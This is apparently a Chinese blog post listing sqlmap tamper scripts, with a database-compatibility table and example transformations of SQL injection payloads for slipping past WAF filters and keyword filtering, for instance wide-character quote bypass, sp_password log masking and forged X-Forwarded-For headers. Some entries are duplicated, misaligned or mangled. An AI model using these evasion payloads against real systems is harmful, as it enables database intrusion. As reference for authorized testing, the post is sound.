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sqlmap中tamper的简介

一、SQLMap中tamper的简介

1.tamper的作用

使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

部分防护系统的缩写:

WAF:Web应用程序防火墙,Web Application Firewall

IPS:入侵防御系统, Intrusion Prevention System

IDS:入侵检测系统,Intrusion Detection System

2.tamper用法

--tamper=TAMPER 利用给定的脚本进行篡改注入数据。其用法可举例说明:

python sqlmap.py -u "http://.../?uname=admin&pwd=pass123" --level=5 --risk=3 -p "uname" --tamper=xxx.py

表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测

二、适配不同数据库类型的测试tamper

当使用SQLMap篡改脚本执行渗透测试时,面对众多tamper可能会比较困惑,一开始不晓得该使用哪些脚本来测试。有的脚本是适用于常用数据库的SQL注入攻击,有的适用于特定类型的数据库,还有的适用于某种数据库的特定版本范围。为了相对明确的了解tamper的使用场景,把tamper的使用类型和范围作一下划分,具体如下:

SQLMap目录中的所有tamper script

tamper = apostrophemask , apostrophenullencode , appendnullbyte , base64encode , between , bluecoat , chardoubleencode , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull , modsecurityversioned , modsecurityzeroversioned , multiplespaces , nonrecursivereplacement , percentage , randomcase , randomcomments , securesphere , space2comment , space2dash , space2hash , space2morehash , space2mssqlblank , space2mssqlhash , space2mysqlblank , space2mysqldash , space2plus , space2randomblank , sp_password , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords

通用的测试tamper

tamper = apostrophemask , apostrophenullencode , base64encode , between , chardoubleencode , charencode , charunicodeencode , equaltolike , greatest , ifnull2ifisnull , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2plus , space2randomblank , unionalltounion , unmagicquotes

MSSQL(Microsoft SQL Servre)

tamper = between , charencode , charunicodeencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , sp_password , space2comment , space2dash , space2mssqlblank , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotes

MySQL

tamper = between , bluecoat , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull , modsecurityversioned , modsecurityzeroversioned , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2hash , space2morehash , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords , xforwardedfor

Oracle

tamper = between , charencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , randomcase , securesphere , space2comment , space2plus , space2randomblank , unionalltounion , unmagicquotes , xforwardedfor

Microsoft Access

tamper = between , bluecoat , charencode , charunicodeencode , concat2concatws , equaltolike , greatest , halfversionedmorekeywords , ifnull2ifisnull , modsecurityversioned , modsecurityzeroversioned , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2hash , space2morehash , space2mysqldash , space2plus , space2randomblank , unionalltounion , unmagicquotes , versionedkeywords , versionedmorekeywords

PostgreSQL

tamper=between , charencode , charunicodeencode , equaltolike , greatest , multiplespaces , nonrecursivereplacement , percentage , randomcase , securesphere , space2comment , space2plus , space2randomblank , xforwardedfor

tamper适用的数据库类型&版本

(*) 可能适用于所有版本

(-) 不适用

TAMPER

MySQL

MSSQL

Oracle

PostgreSQL

apostrophemask

*

*

*

*

apostrophenullencode

-

-

-

-

appendnullbyte

*

*

*

*

base64encode

4,5,5.5

2005

10g

-

between

5.1

-

-

-

bluecoat

*

*

*

*

apostrophemask

9.0.3

20002005

-

9.3

charunicodeencode

4,5.0 and 5.5

2005

10g

8.3,8.4,9.0

charencode

*

-

-

-

commalessmid

*

-

-

-

concat2concatws

*

*

*

*

equaltolike

*

*

*

*

greatest

< 5.1

-

-

-

halfversionedmorekeywords

5.0 and 5.5

-

-

-

ifnull2ifisnull

*

*

*

*

informationschemacomment

4,5.0,5.5

2005

10g

8.3,8.4,9.0

lowercase

5

-

-

-

modsecurityversioned

5

-

-

-

modsecurityzeroversioned

*

*

*

*

multiplespaces

*

*

*

*

nonrecursivereplacement

*

*

*

*

overlongutf8

5.1.56,5.5.11

2000, 2005

N/A

9

percentage

4, 5.0,5.5

2005

10g

8.3,8.4,9.0

randomcase

*

*

*

*

randomcomments

*

*

*

*

securesphere

4,5.0,5.5

2005

10g

8.3,8.4,9.0

space2comment

-

-

-

-

space2dash

4.0,5.0

-

-

-

space2hash

>= 5.1.13

-

-

-

space2morehash

-

2000, 2005

-

-

space2mssqlblank

*

*

-

-

space2mssqlhash

*

*

*

*

space2plus

4,5.0,5.5

2005

10g

8.3,8.4,9.0

space2randomblank

-

*

-

-

sp_password

*

*

*

*

symboliclogical

*

*

*

*

unionalltounion

*

*

*

*

unmagicquotes

4, 5.0,5.5

2005

10g

8.3,8.4,9.0

uppercase

*

*

*

*

varnish

*

-

-

-

versionedkeywords

>=5.1.13

-

-

-

versionedmorekeywords

*

*

*

*

xforwardedfor

*

*

*

*

三、SQLMap中tamper篡改脚本的功能解释

apostrophemask.py

功能:对引号进行utf-8格式编码(%EF%BC%87)

平台:All

举例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

apostrophenullencode.py

功能:用非法的双unicode字符(%00%27)替换引号字符

平台:All

举例:1 AND '1'='1 ==> 1 AND %00%271%00%27=%00%271

appendnullbyte.py

功能:在有效载荷结束位置加载零字节字符编码

平台:Microsoft Access

举例:1 AND 1=1 ==> 1 AND 1=1%00

base64encode.py

功能:用base64格式进行编码

平台:All

举例:1' AND SLEEP(5)# ==> MScgQU5EIFNMRUVQKDUpIw==

between.py

功能:用between替换大于号(>)

平台:Mssql2005、MySQL 4/5.0/5.5、Oracle 10g、PostgreSQL 8.3/8.4/9.0

举例:

1 AND A > B --  ==> 1 AND A NOT BETWEEN 0 AND B  --

1 AND A = B --  ==> 1 AND A BETWEEN B AND B --

bluecoat.py

功能:对SQL语句替换空格字符为(%09),并替换"="--->"LIKE"

平台:MySQL 5.1, SGOS

举例:SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1

apostrophemask.py

功能:用utf-8格式编码引号(如:%EF%BC%87)

平台:All

举例:1 AND '1'='1 ==> 1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

charunicodeencode.py

功能:对字符串进行Unicode格式转义编码

平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET

举例:SELECT FIELD%20FROM TABLE ==> %u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

charencode.py

功能:采用url格式编码1次

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

chardoubleencode.py

功能:采用url格式编码2次

平台:All

举例:SELECT FIELD FROM%20TABLE ==> %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

commalessmid.py

功能:将payload中的逗号用 from和for代替,用于过滤了逗号并且是3个参数的情况

平台:MySQL 5.0, 5.5

举例:MID(VERSION(), 1, 1) ==> MID(VERSION() FROM 1 FOR 1)

concat2concatws.py

功能:CONCAT() ==> CONCAT_WS(),用于过滤了CONCAT()函数的情况

平台: MySQL 5.0

举例:CONCAT(1,2) ==> CONCAT_WS(MID(CHAR(0),0,0),1,2)

equaltolike.py

功能:= ==> LIKE,用于过滤了等号"="的情况

平台:Mssql 2005、MySQL 4, 5.0 and 5.5

举例:SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1

greatest.py

功能:> ==> GREATEST

平台:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:1 AND A > B ==> 1 AND GREATEST(A, B+1)=A

a和b+1比较,取两者中的最大值为a;则a >= b+1,亦即a > b

halfversionedmorekeywords.py

功能:空格 ==> /*!0 (在关键字前添加注释)

平台:MySQL 4.0.18, 5.0.22(Mysql < 5.1)

举例:union ==> /*!0union

ifnull2ifisnull.py

功能:IFNULL(A, B) ==> IF(ISNULL(A), B, A)

平台:MySQL 5.0 and 5.5

举例:IFNULL(1, 2) ==> IF(ISNULL(1),2,1)

informationschemacomment.py

功能:

在 information_schema 后面加上 /**/ ,用于绕过对 information_schema 的情况

retVal = re.sub(r"(?i)(information_schema).", "g<1>/**/.", payload)

平台:All

举例:select table_name from information_schema.tables ==> select table_name from information_schema/**/.tables

lowercase.py

功能:将 payload 里的大写转为小写

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables

modsecurityversioned.py

功能:用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf

平台:MySQL 5.0

举例:1 AND 2>1--  ==> 1 /*!30874AND 2>1*/--

modsecurityzeroversioned.py

功能:用注释来包围完整的查询语句,用于绕过 waf ,和上面类似

平台:Mysql

举例:1 and 2>1--+ ==> 1 /!00000and 2>1/--+

multiplespaces.py

功能:围绕SQL关键字添加多个空格

平台:All

举例:1 UNION SELECT foobar ==> 1 UNION SELECT foobar

nonrecursivereplacement.py

功能:关键字双写,可用于关键字过滤

平台:All

举例:1 UNION SELECT 2--  ==> 1 UNIONUNION SELESELECTCT 2--

overlongutf8.py

功能: 转换给定的payload当中的所有字符

平台:All

举例:SELECT FIELD FROM TABLE WHERE 2>1 ==> SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1

percentage.py

功能:用百分号来绕过关键字过滤,在关键字的每个字母前面都加一个(%)

平台:Mssql 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0

举例:SELECT FIELD FROM TABLE ==> %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

randomcase.py

功能:将 payload 随机大小写

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:INSERT ==> InseRt

randomcomments.py

功能:在 payload 的关键字中间随机插入注释符 /**/ ,可用于绕过关键字过滤

平台:Mysql

举例:INSERT ==> I / ** / N / ** / SERT

securesphere.py

功能:在payload后追加特殊构造的字符串

平台:All

举例:1 AND 1=1 ==> 1 AND 1=1 and '0having'='0having'

space2comment.py

功能:用注释符 // 代替空格,用于空格的绕过

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:SELECT id FROM users ==> SELECT//id//FROM//users

space2dash.py

功能:用[注释符(--)+一个随机字符串+一个换行符]替换控制符

平台:MSSQL、 SQLite

举例:union select 1,2--+ ==> union--HSHjsJh%0Aselect--HhjHSJ%0A1,2--+

space2hash.py

功能:用[注释符(#)+一个随机字符串+一个换行符]替换控制符

平台:Mysql

举例:union select 1,2--+ ==> union%23HSHjsJh%0Aselect%23HhjHSJ%0A1,2--+

space2morehash.py

功能:用多个[注释符(#)+一个随机字符串+一个换行符]替换控制符

平台:MySQL >= 5.1.13

举例:union select 1,2--+ ==> union %23 HSHjsJh %0A select %23 HhjHSJ %0A%23 HJHJhj %0A 1,2--+

space2mssqlblank.py

功能:用随机的空白符替换payload中的空格

blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')

平台:Mssql 2000,2005

举例:SELECT id FROM users ==> SELECT%0Eid%0DFROM%07users

space2mssqlhash.py

功能:用[字符# +一个换行符]替换payload中的空格

平台:MSSQL、MySQL

举例:union select 1,2--+ ==> union%23%0Aselect%23%0A1,2--+

space2plus.py

功能:用加号(+)替换空格

平台:All

举例:SELECT id FROM users ==> SELECT+id+FROM+users

space2randomblank.py

功能:用随机的空白符替换payload中的空格

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:SELECT id FROM users ==> SELECT%0Did%0DFROM%0Ausers

sp_password.py

功能:在payload语句后添加 sp_password ,用于迷惑数据库日志(Space ==> sp_password)

平台:Mssql

举例:1 AND 9227=9227--  ==> 1 AND 9227=9227 -- sp_password

symboliclogical.py

功能:用 && 替换 and ,用 || 替换 or ,用于这些关键字被过滤的情况

平台:All

举例:

1 and 1=1 ==> 1 %26%26 1=1

1 or 1=1 ==> 1 %7c%7c 1=1

unionalltounion.py

功能:用 union select 替换union all select

平台:All

举例:union all select 1,2--+ ==> union select 1,2--+

unmagicquotes.py

功能:用宽字符绕过 GPC addslashes

平台:All

举例:1' and 1=1 ==> 1%df%27 and 1=1--

uppercase.py

功能:将payload中的小写字母转为大写格式

平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

举例:insert ==> INSERT

varnish.py

功能:添加一个HTTP头“ X-originating-IP ”来绕过WAF

平台:headers = kwargs.get("headers", {})headers["X-originating-IP"] = "127.0.0.1"return payload

举例:All

versionedkeywords.py

功能:对非函数的关键字进行注释

平台:MySQL 4.0.18, 5.1.56, 5.5.11

举例:1 union select user() ==> 1/!UNION//!SELECT/user()

versionedmorekeywords.py

功能:对每个关键字进行注释处理

平台:MySQL 5.1.56, 5.5.11

举例:1 union select user() ==> 1/!UNION//!SELECT/user()

xforwardedfor.py

功能:添加一个伪造的HTTP头“ X-Forwarded-For ”来绕过WAF

平台:All

举例:headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload

posted @ 2020-03-11 13:25  御用闲人  阅读(1908)  评论(0编辑  收藏  举报